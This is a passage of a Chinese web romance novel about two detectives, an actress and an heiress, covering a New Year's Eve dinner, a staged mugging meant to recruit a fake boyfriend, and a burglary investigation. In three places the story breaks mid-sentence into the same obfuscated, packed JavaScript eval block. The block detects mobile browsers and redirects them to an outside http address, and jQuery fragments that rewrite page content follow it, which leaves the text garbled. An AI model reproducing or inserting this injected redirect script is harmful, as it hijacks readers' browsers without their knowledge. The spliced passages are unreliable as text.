“刚才吓着了吧,我先送你回家。” 江宥一已经缓过来了,但邢弋却还心有余悸。 他不敢想象,今天如果自己没能及时赶到,她会怎么样,也不知道这样危险的事情,江宥一曾经历过多少次。 潘茁站在一旁,目睹这一切,心里很不好受。 不是说有喜欢的人吗?不是说那人是姜桃吗? 为什么又对江宥一这样好? 她清楚地明白,邢弋看向江宥一时的眼神,早已超出了警察对当事人该有的。 他的爱意和心疼就要从眼神里溢出来了。 罗骁反应最快,立马应声:“就是,江小姐肯定是受到惊吓了,晚上不安全,让邢弋送送她,咱们几个也早点儿撤吧!” 说完,他就一手拽着陈燃,一手揽着赵旭东的肩膀往车上去。 “刚刚那位就是女明星江宥一吧!” 回去的路上,罗骁还是有些不敢相信自己的眼睛。 陈燃点头。 “我去,邢弋和她是怎么认识的?” “说来话长,以后慢慢告诉你。” “那你先说说他俩什么关系?” “你问老邢去。”陈燃故弄玄虚。 潘茁始终一言不发,盯着窗外发呆。 江宥一本来是很害怕的,可是不知道为什么,在看到邢弋的那一刻,她所有的不安都在顷刻间消散。 只要有他在,她就什么都不怕。 十几年前是这样,现在也是这样。 他紧张地看着坐在副驾的她。 “你今天做的很棒,以后有危险,一定要及时给我……及时报警。” 邢弋话说到一半,又拐了弯。 “警察会来的比你还快吗?” “会。” “可我还是想先打给你,可以吗?” 邢弋哑言,不说可以,也不说不可以。 但在江宥一看来,这就是默认,是答应了。 “我这些天一直缠着你,你就一点儿都没怀疑过,我可能只是在撒谎吗?” 这才是江宥一最想问的,打通邢弋电话的那一刻,她最怕的,就是他不信她,怕他用一句“我在忙”就打发了她。 好在,他没有。 “万一是真的,我不过来你怎么办?你的安全比较重要。” 邢弋总算是说了句真心话,接到电话的那一瞬,他哪有时间去考虑真假。 江宥一要是看到他当时慌神的样子,估计也会很惊讶吧。 他一直在她面前装作淡然,却在听说她有危险的那一瞬间,方寸大乱。 送江宥一回了家,邢弋一个人在她家楼下站了很久。 他呆呆望着她卧室亮起的灯,担心她今晚会害怕,会失眠。 晚上十点四十三分,灯灭了。 邢弋却还是坐在车里不肯走,耳边不停传来江宥一刚才带着哭腔的那句:“要是那年我没离开福利院,我们是不是就不会分开这么多年了?” 他也曾无数次想过这种可能性,甚至有的时候会责怪当时的自己。 可是那个时候,他也不过是个九岁的孩子,也只是单纯地认为,江宥一有了新的家,有了爱她的家人,就能得到幸福。 哪怕自己会和她分开,可是只要她快乐,就足够了。 “我要睡了,早点回去吧!”江宥一的信息传来。 她不用去看也能猜到,邢弋会在楼下守着自己。 邢弋弯弯嘴角。 “好,晚安。” “晚安。” 第二天早上,江宥一出门,邢弋的车居然还在。 “你一晚上没回去吗?” 她震惊之余也有些佩服警察的耐力。 “当然不是,回去睡了一觉。” 邢弋笑笑,他不是没苦硬吃的类型。 昨晚收到江宥一的消息之后,他就开车回家了,虽然躺在床上依旧失眠,但怎么也比在车里舒服。 “那你这是……” 邢弋的突然出现完全在江宥一的预料之外。 “没什么,上班之前顺便过来看看。” 好随意的一个谎! 江宥一都不忍拆穿他。 可邢弋又有什么办法,他总不能实话实说,说他想见她,所以,大冬天早上七点,天还没完全亮,就守在她家楼下? 这种行为不符合他长期以来在她面前营造的无所谓形象,所以他说不出口。 “我今天有工作。” “嗯,我也要去上班的,注意安全。” “好。” 江宥一赶时间,再可惜,也只能说再见。 * 那天露营之后,虽说是交换了联系方式,但是卢珮宁一直没有去打扰陈燃。 她确实心动了。 但她不确定这是不是自己的一时兴起,这些天,她一直在等着,等着陈燃从自己的脑子里消失。 可她还是想见他,控制不住地想。 “陈警官,我是卢珮宁,今天有时间吗?不是说要请我吃饭?” “卢小姐,实在不好意思,我和朋友约好去打球,周末可以吗?” “好。” 今天的约会泡汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002762|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,卢珮宁一个人在咖啡店坐了两个小时。 她投胎运气比较好,不需要用时间换取“饭票”,自由但偶尔也实在无聊。 江宥一今天有拍摄,她把目标放在了和她同样过着大小姐日子的朋友张玥身上。 “忙什么呢?” “化完妆要去陪男朋友打球,有何指示?” “没什么,无聊。” “无聊那就陪我去呗!” “没兴趣!” “你对篮球没兴趣,对188有腹肌的帅弟弟总有兴趣吧?那个地方什么都缺,就是不缺好身材的青春男大。” 卢珮宁鬼使神差地答应,要放在从前,她才不会同意去当这个电灯泡。 但是今天,她想起陈燃的话,竟然存有一丝能遇见他的幻想。 可刚出门她就后悔了,偌大的沅江市,室内篮球馆数不胜数,她居然异想天开能碰到他? 疯了,绝对是疯了! 篮球馆里人挺多,确实大部分都是大学生,年轻貌美,活力四射。 但是卢珮宁对弟弟没什么兴趣,她都快二十八了,再喜欢二十出头的孩子不太合适。 她和张玥坐在一起,心不在焉,看了半天手机,偶尔抬头,还会撞见她和男朋友秀恩爱。 她嫌弃地把头扭向另一侧,却意外看见个熟悉的面孔。 “陈燃?” 沅江是不太大啊,怎么还真就让自己给偶遇上了! 卢珮宁觉得今天自己简直撞大运。 陈燃穿着黑色运动背心搭配篮球短裤,混在一群大学生里倒是也看不太出年龄。 只是肌肉线条要更好看,这大概是他每日下班去健身房打卡换来的成果。 对于卢珮宁来说,成熟男人身上的荷尔蒙气息比起年轻弟弟的帅气脸庞,要更有吸引力。 她看得出神,一如那天看他唱歌时那般,周围的一切都变得模糊,她的眼里,只有他。 陈燃专心打球,没注意到场边的卢珮宁。 偶尔出汗,撩起衣服擦汗,腹肌线条明显,某人大饱眼福。 看得出神之际,张玥突然拍拍她。 “要不要我给你介绍个帅哥?我男朋友师弟,190,家里是做进出口贸易的,医学生,长得又帅身材又好,智商还高,就是那个穿10号球衣的,看到没?” 她一回头,发现卢珮宁压根没听她在说什么,眼睛一直盯着一个方向。 “我说呢,这半天也不看手机了,怎么,看上哪个帅哥了?” “什么呀,碰到个朋友,我去打个招呼。” 卢珮宁觉得今天遇见陈燃,就是上天冥冥之中的安排,这种难得的缘分,她必须要好好把握。 陈燃正坐在场边休息,卢珮宁拍拍他左肩,却又跑到他右侧逗他。 “巧了,陈警官,在这儿都能碰到!” 陈燃也很惊讶会在这儿碰到卢珮宁。 “是啊,挺巧,过来陪男朋友?” 陈燃四下看看,觉得她不是会打篮球的类型,那么来这里也就只有陪男友这一个可能。 “没有,我单身,我和朋友来的,过来当电灯泡。球打得不错!” “谢谢。” 卢珮宁注意到他脖子上有汗珠,贴心地从包里拿出纸巾,递过去。 “谢啦。” 陈燃神经大条,哪里会注意到两人手指相碰瞬间,卢珮宁绯红的脸颊。 卢大小姐这回是真栽了。 24. 除夕夜 和邢弋分开的这些年,江宥一就没了固定可以过春节的地方。 尤其是江奶奶去世之后,那个“家”对她来说,什么都不是了。 她是离家出走的,不能让江祖兴发现她和江椿还有联系,每年春节,江椿也没法偷溜出来。 卢珮宁不忍心让她独自度过那个本该热闹的夜晚,有时会邀请她去家里一起过年。 “一一,今年还是老样子,陪我回家和爸妈一起过年吧!” 卢珮宁再度发出邀请。 “不了吧。” 江宥一说这话时,语气里没有丝毫悲伤,卢珮宁并没发现,还在替她伤神。 “那要不我去你家,陪你?” “傻瓜,我可不是和你见外,你回去好好陪陪叔叔阿姨,我自有去处。” 她咧起的嘴角终于让卢珮宁察觉出什么来。 “看我这脑子,邢弋也是一个人过年吧,正好正好,我们一一以后有伴儿了。” 反应过来的她松了口气,还好,今年江宥一不会是一个人,以后的江宥一都不会是一个人。 “老邢,今年在哪儿过年,去我家呗!” 邢弋也是抢手得很,陈燃学着赵队的样子,一手拿着保温杯,站在邢弋桌前。 “不去了。” “和兄弟客气什么?” “没和你客气,初一再去拜访叔叔阿姨,过年那天,我有去处。” “你恋爱了?” 陈燃狐疑,邢弋在沅江是无亲无故,哪里来的去处? “没,你就别问了,反正我有地方去就对了。” 陈燃刚要挽留,潘茁从楼上下来,也是同样的目的。 “邢弋,今年在哪儿过年,去我家吧,我爸妈早就想见见你,感谢一下你在警校对我的照顾。” 潘茁今天化了淡妆,笑得开朗,可惜,陈燃和邢弋居然没看出来。 “不行,我先来的,先来后到懂不懂?” 还没等邢弋说话,陈燃倒先一步替他拒绝。 “关你什么事?哪凉快哪待着去?” 潘茁斜了他一眼,还是一脸期待地看着邢弋。 “真的感谢你俩,我有地方去,不会在年三十孤苦伶仃,你俩就别操心了。” 邢弋向来说一不二,没人能改变他已经决定了的事情。 潘茁固然失望,可不好表现得明显,依旧故作坦然。 两人离开,邢弋才翻出手机壳夹层里的照片,看着姜桃的笑脸出神。 他哪有什么去处。 他一个人过年无所谓,可一想到这个城市还有一个人和他一样,只能自己孤零零看着外面亮起的万家灯火,他就心疼。 去陪陪她吧,哪怕是在她家楼下。他脑子里产生这样的念头。 邢弋想去陪江宥一,却不想被她发现。 他把车停到路口拐弯处,一个他能看见她,她却发现不了他的地方。 除夕夜,对邢弋来说,没太大意义,去了趟肯德基,随便打包个套餐,晚饭就在车里解决了。 刑警的职业病,习惯了蹲守,江宥一这下反倒成了“嫌疑人”。 他看着江宥一亮起家里所有的灯,还有卧室阳台那盏。 邢弋看得出来,她站在阳台上的时候,特意往楼下,他经常停车的地方瞅了一眼,失望而归。 “邢弋,新年快乐!” 邢弋低头看了眼手机,是江宥一。 “新年快乐!” “你今年在哪儿过年,是一个人吗?” 他喝了口可乐,顺下去嘴里的汉堡,想了一下,觉得没必要骗她,他本就无处可去,她比谁都清楚。 “嗯,一个人,我在家。” “来我家吧,我也一个人,年夜饭点多了!” 江宥一发了个委屈巴巴的小狗表情包。 邢弋刚才的确看到有个外卖员,提溜了两大包保温袋敲了江宥一家大门。 他印象很深刻,那个外卖员从自己车前经过时,两人还对视一眼。 “不了,我正在吃。” “你在吃什么呀?” 邢弋看了眼自己手里的半个汉堡。 “随便做了点。” 江宥一很久没说话。 她放弃了吧?怎么不回信了?在看春晚吗? 车窗外有人“咚咚咚”敲个不停,邢弋转头呆愣住,怎么还是被她发现了。 江宥一笑着看他,一下子拆穿了他的谎言。 “你怎么……下来了?” 邢弋打开车门下去,他很少磕巴,这下说话都不利索了。 江宥一看惯了他在自己面前游刃有余的样子,这么紧张无措的他,她觉得稀奇。 “怎么?邢警官这是把我当嫌疑人了?看样子你对自己的监视位置很放心啊?没想到我会发现吧?” 终于轮到江宥一招摇显摆一回,她下意识挺直脊背,下巴上挑,像只傲娇的布偶猫,直直盯着邢弋的眼睛,眼波流转间尽是笑意。 “你怎么发现的?” 邢弋被她戳中心思,他是真没想到。 “跟我回家,我就告诉你。” “我吃过了。” 邢弋故意挡住车窗,怕江宥一看到车里还没来得及收起的肯德基的包装袋。 她也不傻,看得出邢弋的遮掩,扒拉开他,看到了他“做的饭”。 江宥一原本是想好好调侃邢弋一番的,可是心情突然跌落。 “走吧,跟我回家,吃年夜饭。” 她语气冷下来,牵起邢弋左手,不似刚才那开玩笑的神情。 邢弋不想在春节扫她兴致,乖乖被她牵着走。 餐桌上已经摆满了各色菜肴,还有非常显眼的两套餐具。 她早就替他准备好了。 “所以,你是怎么知道的?” 邢弋还是想知道。 江宥一走过来,按下他肩膀,让他入座。 “先吃,我慢慢告诉你。” 她还是害怕他听完跑掉,她居然天真地以为邢弋跟她上来就真是为了求个答案。 江宥一不吃猪肉,桌上却有邢弋爱吃的回锅肉、四喜丸子、糖醋排骨…… 邢弋这会儿才懂了,江宥一压根没打算丢下自己,一个人过年。 “是伟大善良的外卖小哥啊,他告诉我路口拐角停着辆车,车里有个奇怪男人盯着我家阳台发愣,他还让我报警来着。” 江宥一憋不住笑,她能想象到若是报警,邢弋被当成变态审问的奇怪场面。 或许自己真该试试?也不知道除夕夜的派出所热闹不热闹! “你就没想过可能是狗仔?” “不会,他们也要过年的,没那么大辛苦守着我,而且,外卖小哥说了,车里的人,蛮帅!除了你,我想不到别人了!” 江宥一说话间有点小骄傲,好像被夸的人是她。 她说得眉飞色舞,眼神回到邢弋身上时,却又定住。 他正看着她,很认真地看着她,直白又坦荡。 她喜欢那个眼神,但那一瞬,她更多的是害羞。 江宥一慌慌张张扭过头,目光重新落在桌上的香槟。 “要喝点儿吗?”她自然地引开话题。 “不了,我开车。” “今天除夕,过节,少喝点儿吧,可以叫代驾。” 其实是江宥一想喝一点,她高兴。 邢弋没再拒绝,她给他杯里倒了一点。 重逢之后,两人不是没有一起吃过饭,但今天,气氛总是不太一样。 这是重逢之后的第一个新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011705|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,也是走散这些年来,江宥一心里最充盈的一个新年。 以前的新年,有奶奶,有江椿,但她心里总有那么一块地方空着,无法被喧闹填满。 她会想起他,会想他在哪里过新年,有没有人给他做年夜饭,他会想起自己吗? 她想着想着出神,邢弋也不扰她。 香槟一杯一杯下肚,他不知怎么拦她。 可再一抬眸,她眼里又出现了泪花。 “怎么了?”他无措。 她却突然笑了。 “我小时候一哭,你就皱眉,和现在的表情一样,只不过,那个时候你会给我糖吃,哄我开心,现在……” 她不说了,抬眸看他,没什么反应。 “你个没良心的,我惦记你这么多年,就盼着有一天能再见到你,你倒好,把我忘了个干干净净。” 几杯酒下肚,江宥一说话越发大胆。 “别喝了,一会儿要醉了。” 邢弋伸手拦她,被她用胳膊甩开。 “你瞧不起谁呢?我酒量大着呢?这才哪到哪啊?”江宥一呢喃道。 她整个身子斜靠在椅背上,目光开始失焦,茫然地眨巴眨巴眼睛,嘴里含糊不清地不知道又在嘟囔些什么。 但邢弋偶尔能听到自己的名字。 她应该是在骂他,看表情,肯定不是什么好话。 邢弋居然笑了。 江宥一喝醉之后的表情实在呆萌,偶尔乖得很,只是哼唧两声,偶尔又突然手舞足蹈,傻里傻气的。 “你醉了,去睡吧!” “我才不要!” 江宥一耍起赖皮,她喝多了可比她清醒的时候还要不好对付。 邢弋劝了好久,她不肯听。 没办法,他直接将她横抱起,动作轻柔得像是在捧着个刚出生的婴儿。 他把她放到床上后,起身要走,却被一双温热的小手拽住。 “邢弋,你真的忘了我吗?你不记得姜桃了吗?” “早些睡吧。”他不忍用力挣脱,但还是答非所问。 “你要是不记得我,为什么今天会来我家楼下?你要是不记得我,为什么一次又一次的允许我接近?你要是不记得我,那天为什么像疯了一样赶来救我?” 江宥一的眼神从睫毛下悠悠荡过来,双颊酡红,眸光涣散。 邢弋终于忍不住靠近,极为克制地摸摸她脑袋,却不说话。 “你明明都记得啊?怎么就是不肯承认呢?” 他看她一滴泪滑落到他手背,心里一抖,不知刚才灼伤他的,是她怪罪的眼神还是那滴热泪。 他在她床头坐了很久,数不清她问了多少遍“邢弋,你真的忘了我吗?” 最后,轻手轻脚走出了她家。 即便是醉酒的她,他也不愿给一个让她高兴的答复。 邢弋走后十分钟,江宥一从被窝里爬起来,理理凌乱的头发,长叹一声,计划居然又失败了? 她没喝醉,从头到尾都是清醒的。 她以为只要装醉,就能让他卸下防备,可现在,她更加不确定了,甚至觉得,他是真的忘记了。 江宥一的第一部女主剧,拍过一场醉酒戏,可她滴酒不沾,怎么演都不像。 后来她每晚回家,都会提溜一塑料袋罐装啤酒,把自己喝醉的样子拍下,清醒的时候再去模仿。 有时也会去小酒馆坐着,点一杯百利甜酒,然后盯着来来往往的年轻女孩儿观察。 每个人醉酒后的反应都不一样,但微醺后的女孩,会更肆无忌惮地向男朋友撒娇,平时说不出口的话,借着酒劲儿,也能一股脑吐露出来。 今天她那连邢弋都骗了过去的演技,就是那时“训练”出来的。 可惜,演的是不错,但他不上套。 25. 重金求取“完美男友” 洒扫庭除、祭祖祈福、走亲访友,过年嘛,年年都是这个样。 只是,即将突破三十岁大关的卢珮宁,还要应付家里的催婚。 一楼客厅里,卢宏远和石岚正襟危坐,显然是不打算轻易放过女儿。 “你汪阿姨家的小儿子,英国留学回来的,高学历高智商,年轻有为,一表人才,不到三十五岁,在商场混得风生水起,现在已经是集团总经理。” 石岚苦口婆心,一心想促成这段姻缘。 刘澳是她考察了很久的女婿人选,卢珮宁再不抓紧,人家迟早名花有主。 “多大?” 卢珮宁气定神闲,仔细盘问起来,她虽说是没有这个打算,但也不敢太过敷衍母亲大人,毕竟家里的财政大权还在她手里。 “三十四。” “比我大六岁?” “男人年纪大一点,成熟稳重,会疼老婆,没什么不好。” 石岚显然是有备而来,猜到卢珮宁会从年纪开始挑人家的刺。 “我爸还比你小两岁呢?也没见他苛待你。” “你这孩子,没大没小。”卢宏远怒目圆睁,假意生气。 卢珮宁知道,他是硬被石岚拉过来充数的。 对于女儿的婚姻大事,他比石岚女士要佛系得多,讲求一个一切随缘。 “多高啊?我喜欢高一点的。” “那孩子我见过,一米八肯定是有。” 卢珮宁找茬失败,不肯放弃。 “唱歌怎么样?唱歌好听的男生有魅力。” “你是找男朋友,又不是找歌星,人品好有能力不就行了,你管人家唱歌好不好听?”卢宏远看出她故意抬杠,一股邪火往上窜。 反观石岚,好不容易卢珮宁有了兴趣,她高兴还来不及。 “他唱歌好不好听,你不得先见一面才能知道?” 卢珮宁担心自己再问下去,石岚会当真,到时候真约着见面,她可不好收场。 石岚眼含期待、面带笑容,卢珮宁一时招架不住,撒了谎。 “我有男朋友了!”她“噌”地一下站起来,声音突然拔高,好像这样就能让父母信她。 “你有什么了?可别撒谎啊,这不是小事,别拿这个骗我和你妈。” “爸,你放心,我不可能骗你们。” 现在说什么都晚了,自己撒的谎,豁出去了也得圆回来。 石岚一听卢珮宁有了男朋友,也就把刘澳抛到脑后了。 只要女儿喜欢,一切好商量。 但是为了防止卢珮宁忽悠人,她还是留了个心眼儿。 “既然你已经有男朋友了,找个时间,让我们和他见一面,替你把把关。给你半个月时间,到时候我们没见着你这个所谓的男朋友,就当你是在骗人,你就必须听我的安排,和刘澳见面。” 姜还是老的辣。 卢珮宁心里一万个不愿意,但看着卢宏远和石岚带着杀气的眼神投来,她也不敢造次。 “行,就按您说的办。” 冲动是魔鬼。 卢珮宁这回给自己挖的坑,实在太大了,她要怎么填? 眼下急需一个“正经男友”当挡箭牌,要不雇一个? 不行,卢宏远和石岚久战商场,阅人无数,肯定会识破,更何况,现在也来不及找个合适的“演员”。 二老要求还不低,要仪表堂堂、正直善良,最好踏实稳重、积极上进…… 她在脑子里扫视了一遍自己的朋友圈,只知花天酒地的佛系玩咖,忙得脚不沾地的职场精英,再要不就是类似刘澳那样门当户对的豪门继承人。 没一个靠谱,找这些人帮忙,都得黄。 思来想去,卢珮宁瞄准了根正苗红、一身正气的陈燃。 说干就干,只是和刑警同志打交道可不能来硬的,卢珮宁还是要花些心思、耍点手段。 卢珮宁小时候看过不少香港警匪片,引陈燃入套的灵感就从那儿来。 他是刑警,那她不如就给他量身定做一场“英雄救美”的经典苦肉计戏码。 搭档是她在网上花了1000块钱雇的,没什么别的要求,就是假装尾随自己,等陈燃过来按照剧本念几句台词,然后跑掉就好。 任务只许成功,不许失败,事后再结清剩下1000元“尾款”。 光是剧本,卢珮宁就熬夜打磨了两天两夜,要的就是万无一失,保证陈燃相信。 “案发地点”也是她提前踩点选好的,是陈燃从单位食堂吃完饭回家的必经之路。 空旷、人少、路灯昏暗,没有比这儿更合适的地方了。 晚上七点,卢珮宁就开始蹲守,静候猎物出场。 保险起见,卢珮宁甚至把重要台词写在了手掌心。 她在前面站着,时而不耐烦地看看手表,丝毫没注意后面“搭档”不怀好意的眼神。 他上下打量着她,名车名表名包,一身奢侈品,何等的雍容华贵,关键是看着就手无缚鸡之力,太容易得手了。 这地方选的也好,偏偏还是个监控死角。 区区两千块钱在这巨大的诱惑面前,不值一提。 那人逐渐起了歹心,不受理智控制。 见他逐渐靠近,卢珮宁竟无丝毫察觉。 “他估计快到了,咱俩再演练一遍,免得一会儿出错。” 她还傻乎乎地要和人家对戏,哪成想人家已经盯上她身上的金银财宝。 她那好搭档伸手就要抢她的手表,卢珮宁刚要出声制止,心想剧本里可没这一段,余光瞥见散步回家经过此地的陈燃。 “可以啊大哥,入戏挺快,就是动作能不能小点儿,我这胳膊怪疼的,还有,你得再等会儿才能说台词,他离得太远,听不清。” 大哥这会儿才回头,看见目标人物陈燃正在靠近,来不及考虑太多,抢了卢珮宁的包就要跑。 陈燃眼疾手快跑来将那人踹倒,好歹也是警校毕业,得对得起身上这身皮。 他将那人按倒在地,卢珮宁偷瞄了一眼手心。 “你来的正好,这人不知道从哪儿冒出来,要抢我包,多亏有你。” 卢珮宁演技不成熟,看得陈燃一愣。 平时风风火火惯了,她实在演不了“黛玉妹妹”。 为了给“搭档”创造逃跑机会,卢珮宁上来拽住陈燃胳膊,还不停给那大哥使眼色。 那人眼看偷袭不成,也只好将计就计离开。 陈燃刚要去追,被卢珮宁拖住。 “别追了,我又没什么损失。” 陈燃看着她拙劣的演技,眯着眼问:“刚才,你是在看什么?” 他拽过卢珮宁右手,好家伙,密密麻麻写了一堆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021172|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“卢珮宁,你在搞什么?你没看出那人真要抢你包吗?还拦着我?” 陈燃有些生气了,他工作累了一天,实在没空陪卢珮宁过家家。 见陈燃发火,卢珮宁紧闭双唇,一脸无辜抬眼看他。 “警察同志,下不为例,以后不会了,我就是想让你帮忙假扮我男友应付一下家里人。” 陈燃不解。 “你有事情需要帮忙,直说不就好了,刚才是在演哪一出?” “我直接问你,你肯定不会同意啊,就想着,撒个小谎,你看我那么惨,也许心一软就同意了呢?谁知道演砸了。” 卢珮宁越说越没有底气,她自己也觉得一周前的自己简直头脑发昏,居然有胆量去骗警察。 “人是哪儿找的?花了多少钱?” “网上找的,花了1000,还有1000没给。” 陈燃瞪她一眼,眼神冰冷,直戳骨髓。 他倒不是因为卢珮宁骗他生气,主要是觉得她一点儿都不重视自己的安全,被人卖了还给人家数钱。 卢珮宁看他眼神里的狠厉消失,这才敢继续开口,理不直气也壮地“赖”上他。 “你要负责!我的心灵受到了创伤,只有当你假扮男友,和我父母见面,我才能痊愈!” “你这招对我没用,省省吧,你家里的事情自己解决,我是不可能帮你骗人的,棒打鸳鸯的亏心事我不做。” 卢珮宁听完,双手叉腰。 “谁和他是鸳鸯?都告诉你了我压根没见过这人,也不打算见,你就说来不来吧?” 卢珮宁猜陈燃吃软不吃硬,立马又放低姿态,收起大小姐脾气,和他好好商量。 “陈警官,咱俩第一回见面,你那么冤枉我,我不都没和你计较吗?我这也是实在没有办法了,就见一面,一起吃顿饭,把这次糊弄过去,我一定和我父母说实话,保证不再打扰你。” 陈燃经不住她软磨硬泡,心想:卢珮宁是千金大小姐,从小含着金汤匙长大,她父母绝对不会同意她和一个普通人家出生的孩子在一起,尤其是自己工作性质特殊,谁家父母愿意让女儿过整日提心吊胆的生活。不过是见一面,就帮帮她,省得她又在网上找一些不三不四的人。 她要是出点儿什么事,他良心也不安。 “好,我答应你,但只此一次。” “得嘞,陈警官。” 卢珮宁一时得意忘形,将一条胳膊搭在陈燃肩上,明媚笑容毫无防备地落入陈燃双眸。 他盯着她,有半刻出神。 陈燃不容许自己胡思乱想,只当是太久没恋爱,不适应和异性的“亲密接触”。 他后撤一步,用咳嗽掩饰慌乱。 卢珮宁看着他逐渐红透的脖子和耳垂,心中了然,不过是搭搭肩膀,陈燃居然,这么纯情? 他这么一搞,卢珮宁反倒不好意思,一心想着岔开话题。 “陈警官,你放心,不让你白干,我可以按三倍市场价给你,一小时3000,怎么样?” 这玩意儿行情还真不错,陈燃当时心里就这么一个想法。 “钱我不收,就当是帮朋友忙了。” “陈sir痛快,事成之后请你吃饭!” 陈燃活这些年,没想到“租个男友回家过年”能走进现实,自己有朝一日居然成了人家的“假男友”。 26. 原来是虚惊一场 年气未散,沅江市出现特大入室盗窃案,闹得人心惶惶,目标人群非富即贵。 仅珀曦府这一个小区,近日就连续发生了两起入室盗窃案件,被盗名贵手表、首饰、现金等价值达80余万元。 沅江市刑侦支队立刻组织行动,案子交给一大队负责。 这是邢弋和陈燃自回到支队之后,参与的第一个大案,两人都很激动。 赵旭东站在白板前,眉头紧锁,要说这是他十五年刑警生涯里,遇到的最棘手的盗窃案也不为过。 得手后不立刻离开,反而接连犯下第二、第三起,涉案金额也越来越大,这是对沅江市警方赤裸裸地挑衅。 “这是我们四天内接到的第三起,但是现在性质变了,前两起是专业盗窃,昨晚这起,犯罪升级了。”赵旭东用笔敲敲白板,神情严肃。 “珀曦府小区一层,被害人贺彦涛,41岁,某科技公司高管,凌晨一点听到声音,与歹徒正面遭遇,被钝器重击头部,现在在第一人民医院ICU,脑部严重受损,暂时还没脱离生命危险。” “作案手法相同,目标都是高档小区低层住户,门锁皆是被专业工具打开的,现场几乎没有留下任何有用线索,基本可以确定是同一团伙连续作案。” 安巍坐在会议桌前排,指尖夹着的烟就快要燃尽。 作为罗骁和邢弋的师父,这位老刑警已经有近三十年的现场勘察经验。 “沅江市、南溪市、广府市,这是跨省市案件,这伙人敢这么跑,肯定是有周全的撤退计划。” “你们俩,新来的,说说看法。”赵旭东拉开椅子坐下,众人目光齐聚邢弋和陈燃。 两人倒是都不紧张,一脸的兴奋劲儿掩盖不住。 邢弋站起身,走到白板前。 “赵队,这几个案发地连接起来,几乎成三角形,说明他们对这个三角区域熟悉,有固定的藏身点和销赃渠道,而位于三角区域中心的云山市最有可能是他们的老窝。” 安巍眉心未展,抬眼看了眼邢弋,语气严厉:“说说,为什么觉得是云山市?” “云山市人口流动性强,外来人口比重大,存在大量管理模糊的城中村、老旧小区。更重要的是,这里是交通枢纽,高速公路网络发达,一旦风声不对,嫌犯能以最快速度转移。” 安巍默不作声,只是微微点头,像是在思考什么。 罗骁仅凭他的反应就能看出,他认同邢弋的猜测,也很满意他的分析。 只不过,安巍这小老头就是这样,话少,性子直,不善言辞。 想听他夸你一句,比登天还难。 安巍饶有兴趣地盯着自己这位新来的小徒弟,“继续。” “被盗物品都是轻便易携带的珠宝、现金、古董小件,方便转移,现场没有暴力痕迹,说明他们开锁极其专业,且反侦察意识极强。” 众人皆是点头,表示肯定,这回的对手确实不好对付。 “邢弋观察力不错,被盗小区当晚监控都被人为破坏过,通过调取珀曦府小区北门道路监控录像,这伙人最后一次得手后的确是向东逃了,是云山市方向没错。车内基本锁定三名嫌疑人,男性,全都戴着深色头套,只露出眼睛和嘴巴。车辆是三天前报失的,原车牌已被替换,现在这个车牌也是伪造的。嫌疑车辆进入高速公路二十公里后,从监控盲区消失了,没有出口记录,也没有加油站消费记录,好像凭空蒸发了一样。” “接下来兵分三路。”赵旭东开始进行部署。 “罗骁,你带上邢弋、陈燃,排查云山市周边的短租房屋和仓库,老安、张博阳,你俩和我重新勘察现场,特别是周边监控盲区,王钦枫还是负责技术分析,把案发地高速公路监控都重新过一遍,看看有没有新线索。” 所有人迅速展开行动。 接下来的半天,邢弋、陈燃跟着罗骁走访云山市。 “咱们这一行,其实百分之八十都是枯燥的走访和排查工作。”罗骁学着师父安巍当年的模样,把他的话原封不动的再传给新人。 “那剩下的百分之二十是什么?”陈燃从不让任何人的话落在地上。 他自认为不如邢弋那般有天分,只能靠后天多学多问。 笨鸟先飞,他不觉丢人。 “是关键时刻的判断和行动。”罗骁答。 他们驱车来到云山市郊区,从小型工厂和仓库查起。 罗骁指指窗外:“这种地方鱼龙混杂,容易藏身,也方便转移。” 三个人一直走访到晚上七八点,陈燃注意到一辆停在角落的五菱宏光,车内散落着专业开锁工具包。 “骁哥,老邢!” 他像是发现了什么了不得的大秘密,正为自己的细心窃喜。 罗骁看他一眼,笑笑。 “可能性不大,嫌疑人反侦察意识很强,不会随意把工具包就这么散在后座。” 邢弋上前看了一眼,的确,副驾驶还有儿童书包,不太可能是他们要找的人。 尽管如此,几人还是按要求例行谈话。 “时候不早了,骁哥请你们下馆子,明天咱再接着干。” 罗骁似乎是习惯了刑警这种早出晚归的日子,走了一下午,竟也察觉不到他有多疲惫,精神头足得很,一如下午出发前那般。 “不了,骁哥,我还有事,就先走了。” 邢弋委婉拒绝,他的确有很重要的事情。 江宥一,他想了她一下午。 他早就发现了,江宥一住的小区,安保有很大问题。 他第一次陪她回过一次家后,那保安记住了他的脸,便对他再不设防,随便他开车进出。 